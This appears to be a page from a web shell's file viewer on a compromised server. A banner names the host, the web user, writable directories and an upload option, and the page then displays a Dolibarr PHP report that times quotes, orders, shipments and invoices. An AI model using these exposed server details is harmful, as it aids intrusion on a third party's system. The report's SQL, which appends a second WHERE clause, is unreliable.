Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/sydinitprocess/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/sydinitprocess/flowmanage.php
<?php
/* Copyright (C) 2012-2013	Christophe Battarel	<christophe.battarel@altairis.fr>
 * Copyright (C) 2014		Ferran Marcet		<fmarcet@2byte.es>
 * Copyright (C) 2015       Marcos García       <marcosgdf@gmail.com>
 * Copyright (C) 2016       Florian Henry       <florian.henry@open-concept.pro>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <https://www.gnu.org/licenses/>.
 */

/**
 * \file htdocs/margin/checkMargins.php
 * \ingroup margin
 * \brief Check margins
 */
if (false === (@include '../../main.inc.php')) {  // From htdocs directory
	require '../../../main.inc.php'; // From "custom" directory
}
require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php';
require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php';
require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';
require_once DOL_DOCUMENT_ROOT.'/margin/lib/margins.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php';
require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';
require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php';
require_once DOL_DOCUMENT_ROOT.'/comm/propal/class/propal.class.php';
require_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php';
require_once DOL_DOCUMENT_ROOT.'/expedition/class/expedition.class.php';


// Load translation files required by the page
$langs->loadLangs(array('companies', 'bills', 'products', 'margins'));

$action     = GETPOST('action', 'alpha');
$massaction = GETPOST('massaction', 'alpha');
$toselect   = GETPOST('toselect', 'array');
$contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'margindetail'; // To manage different context of search
$backtopage = GETPOST('backtopage', 'alpha');
$optioncss  = GETPOST('optioncss', 'alpha');
$search_categ  = GETPOST('search_categ', 'int');
$id		= GETPOST('id', 'int'); // For this page, id can also be 'all'


// Load variable for pagination
$limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit;
$sortfield = GETPOST('sortfield', 'aZ09comma');
$sortorder = GETPOST('sortorder', 'aZ09comma');
$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int');
if (empty($page) || $page == -1) {
	$page = 0;
}     // If $page is not defined, or '' or -1
$offset = $limit * $page;
$pageprev = $page - 1;
$pagenext = $page + 1;
if (!$sortorder) {
	$sortorder = "DESC";
}
if (!$sortfield) {
	$sortfield = 'f.ref';
}

$startdate = $enddate = '';

$startdate = dol_mktime(0, 0, 0, GETPOST('startdatemonth', 'int'), GETPOST('startdateday', 'int'), GETPOST('startdateyear', 'int'));
$enddate = dol_mktime(23, 59, 59, GETPOST('enddatemonth', 'int'), GETPOST('enddateday', 'int'), GETPOST('enddateyear', 'int'));

$search_ref = GETPOST('search_ref', 'alpha');

// Security check
$result = restrictedArea($user, 'margins');
// Security check
if ($user->rights->margins->read->all) {
	$agentid = GETPOST('agentid', 'int');
} else {
	$agentid = $user->id;
}

// Both test are required to be compatible with all browsers
if (GETPOST("button_search_x") || GETPOST("button_search")) {
	$action = 'search';
} elseif (GETPOST("button_updatemagins_x") || GETPOST("button_updatemagins")) {
	$action = 'update';
}


/*
 * Actions
 */

if (GETPOST('cancel', 'alpha')) {
	$action = 'list'; $massaction = '';
}
if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') {
	$massaction = '';
}

$hookmanager->initHooks(array('flowlist'));
/*
 * View
 */

$userstatic = new User($db);
$companystatic = new Societe($db);
$propalestatic = new Propal($db);
$commandestatic = new Commande($db);
$expeditionstatic = new Expedition($db);
$invoicestatic = new Facture($db);
$productstatic = new Product($db);

$form = new Form($db);
$htmlother = new FormOther($db);

$title = $langs->trans("Flow Control");

llxHeader('', $title);

// print load_fiche_titre($text);

$param = '';
if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) {
	$param .= '&contextpage='.$contextpage;
}
if ($limit > 0 && $limit != $conf->liste_limit) {
	$param .= '&limit='.$limit;
}
if ($search_ref != '') {
	$param .= '&search_ref='.urlencode($search_ref);
}
if (!empty($startdate)) {
	$param .= '&startdatemonth='.GETPOST('startdatemonth', 'int').'&startdateday='.GETPOST('startdateday', 'int').'&startdateyear='.GETPOST('startdateyear', 'int');
}
if (!empty($enddate)) {
	$param .= '&enddatemonth='.GETPOST('enddatemonth', 'int').'&enddateday='.GETPOST('enddateday', 'int').'&enddateyear='.GETPOST('enddateyear', 'int');
}
if ($optioncss != '') {
	$param .= '&optioncss='.$optioncss;
}

// Show tabs
//$head = marges_prepare_head($user);
$picto = 'margin';
$moreforfilter = "";

print '<form method="post" name="sel" action="'.$_SERVER['PHP_SELF'].'">';
print '<input type="hidden" name="token" value="'.newToken().'">';

print dol_get_fiche_head($head, $langs->trans('checkMargins'), $title, 0, $picto);

print '<table class="border centpercent">';

print '<tr><td class="titlefield">'.$langs->trans('ContactOfInvoice').'</td>';
print '<td class="maxwidthonsmartphone" colspan="4">';
print img_picto('', 'user').$form->select_dolusers($agentid, 'agentid', 1, '', $user->rights->margins->read->all ? 0 : 1, '', '', 0, 0, 0, '', 0, '', 'maxwidth300');
print '</td></tr>';

print '<tr><td class="titlefield">'.$langs->trans('DateStart').' ('.$langs->trans("DateValidation").')</td>';
print '<td>';
print $form->selectDate($startdate, 'startdate', '', '', 1, "sel", 1, 1);
print '</td>';
print '<td>'.$langs->trans('DateEnd').' ('.$langs->trans("DateValidation").')</td>';
print '<td>';
print $form->selectDate($enddate, 'enddate', '', '', 1, "sel", 1, 1);
print '</td>';
print '<td style="text-align: center;">';
print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans('Refresh')).'" name="button_search" />';
print '</td>';
print '</tr>';
print "</table>";

print dol_get_fiche_end();


$arrayfields = array();
$massactionbutton = '';

$invoice_status_except_list = array(Facture::STATUS_DRAFT, Facture::STATUS_ABANDONED);

$sql = "SELECT f.rowid, f.ref, f.datec, f.date_valid, f.date_closing, e.rowid as eref, e.date_creation as edate_creation, e.date_valid as edate_valid, e.date_delivery as edate_delivery, ";
$sql .= " c.rowid as cref, c.fk_user_author AS agentid,c.date_creation as cdate_creation, c.date_valid as cdate_valid, c.date_cloture as cdate_cloture, p.rowid as pref, p.datec as pdatec, p.date_valid as pdate_valid, p.date_signature as pdate_signature, ";
$sql .= " TIMEDIFF(c.date_valid, p.date_valid) ptoc, TIMEDIFF(e.date_valid, c.date_valid) ctoe, TIMEDIFF(f.datec, e.date_valid) etof, TIMEDIFF(f.date_closing, f.date_valid) ftoclos, ";
$sql .= " fped.fk_source pedido, fped.sourcetype,penv.fk_target envio, penv.targettype,pcot.fk_source cotiz, pcot.sourcetype";
$sql .= " FROM ";
$sql .= "  ".MAIN_DB_PREFIX."facture f ";
$sql .= " LEFT JOIN  ".MAIN_DB_PREFIX."element_element fped on ( fped.fk_target = f.rowid AND fped.targettype = 'facture' AND fped.sourcetype = 'commande') ";
$sql .= " LEFT JOIN  ".MAIN_DB_PREFIX."element_element penv on ( penv.fk_source = fped.fk_source AND penv.targettype = 'shipping' AND penv.sourcetype = fped.sourcetype)";
$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_element pcot on ( pcot.fk_target = fped.fk_source AND pcot.targettype = 'commande' AND pcot.sourcetype = 'propal') ";
$sql .= " INNER JOIN ".MAIN_DB_PREFIX."expedition e ON (penv.fk_target = e.rowid) ";
$sql .= " INNER JOIN ".MAIN_DB_PREFIX."commande c ON (fped.fk_source = c.rowid) ";
$sql .= " INNER JOIN ".MAIN_DB_PREFIX."propal p ON (pcot.fk_source = p.rowid) ";
$sql .= " WHERE f.type = 0 AND f.fk_statut NOT IN (".$db->sanitize(implode(', ', $invoice_status_except_list)).") ";
$sql .= " AND f.entity IN (".getEntity('invoice').") ";
if (!empty($startdate)) {
	$sql .= " AND f.datef >= '".$db->idate($startdate)."'";
}
if (!empty($enddate)) {
	$sql .= " AND f.datef <= '".$db->idate($enddate)."'";
}
$sql .= " ";
if ($agentid > 0) {
	$sql .= " WHERE c.fk_user_author = ".((int) $agentid);
}
if ($search_ref) {
	$sql .= natural_search('f.ref', $search_ref);
}

$sql .= $db->order($sortfield, $sortorder);

$nbtotalofrecords = '';
if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) {
	dol_syslog(__FILE__, LOG_DEBUG);
	$result = $db->query($sql);
	$nbtotalofrecords = $db->num_rows($result);
	if (($page * $limit) > $nbtotalofrecords) {	// if total resultset is smaller then paging size (filtering), goto and load page 0
		$page = 0;
		$offset = 0;
	}
}

$sql .= $db->plimit($limit + 1, $offset);

$result = $db->query($sql);

if ($result) {
	$num = $db->num_rows($result);

	print '<br>';
	print_barre_liste($langs->trans("FlowControl"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, '', 0, '', '', $limit);

	$moreforfilter = '';

	$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage;
	//$selectedfields=$form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage);	// This also change content of $arrayfields
	//if ($massactionbutton) $selectedfields.=$form->showCheckAddButtons('checkforselect', 1);
	$selectedfields = '';

	print '<div class="div-table-responsive">';
	//print '<table class="tagtable liste '.($moreforfilter ? " listwithfilterbefore" : "").'">'."\n";
	print '<table class="noborder centpercent liste">';
	print '<tr class="liste_titre">';
	print_liste_field_titre("Cotizacion", $_SERVER["PHP_SELF"], "p.rowid", "", $param, '', $sortfield, $sortorder);
	print_liste_field_titre("< Tiempo >", $_SERVER["PHP_SELF"], "ptoc", "", $param, '', $sortfield, $sortorder);
	print_liste_field_titre("Pedido", $_SERVER["PHP_SELF"], "c.rowid", "", $param, '', $sortfield, $sortorder);
	print_liste_field_titre("< Tiempo >", $_SERVER["PHP_SELF"], "ctoe", "", $param, '', $sortfield, $sortorder);
	print_liste_field_titre("Envios", $_SERVER["PHP_SELF"], "e.rowid", "", $param, '', $sortfield, $sortorder );
	print_liste_field_titre("< Tiempo >", $_SERVER["PHP_SELF"], "etof", "", $param, '', $sortfield, $sortorder );
	print_liste_field_titre("Factura", $_SERVER["PHP_SELF"], "f.rowid", "", $param, '', $sortfield, $sortorder);
	print_liste_field_titre("< Tiempo >", $_SERVER["PHP_SELF"], "ftoclos", "", $param, '', $sortfield, $sortorder);
	print "</tr>\n";

	$i = 0;
	while ($i < min($num, $limit)) {
		$objp = $db->fetch_object($result);
		$propalestatic->fetch($objp->pref);
		$commandestatic->fetch($objp->cref);
		$expeditionstatic->fetch($objp->eref);
		$invoicestatic->fetch($objp->rowid);
		print '<tr class="oddeven">';
		print '<td class="left">';
		print $propalestatic->getNomUrl(1, '', '', 0, 1,1);
		print '</td>';
		print '<td class="left">';
		print $objp->ptoc;
		print '</td>';
		print '<td class="left">';
		print $commandestatic->getNomUrl(1, '', '', 0, 1,1);
		print '</td>';
		print '<td class="left">';
		print $objp->ctoe;
		print '</td>';
		print '<td class="left">';
		print  $expeditionstatic->getNomUrl(1, '', '', 0, 1,1);
		print '</td>';
		print '<td class="left">';
		print $objp->etof;
		print '</td>';
		print '<td class="left">';
		print $invoicestatic->getNomUrl(1, '', '', 0, 1,1);
		print '</td>';
		print '<td class="left">';
		print $objp->ftoclos;
		print '</td>';
		print "</tr>\n";

		$i++;
	}

	print "</table>";

	print "</div>";
} else {
	dol_print_error($db);
}


print '<div class="center">'."\n";
print '<input type="submit" class="button" name="button_updatemagins" id="button_updatemagins" value="'.$langs->trans("Update").'">';
print '</div>';

print '</form>';

$db->free($result);

// End of page
llxFooter();
$db->close();

Hry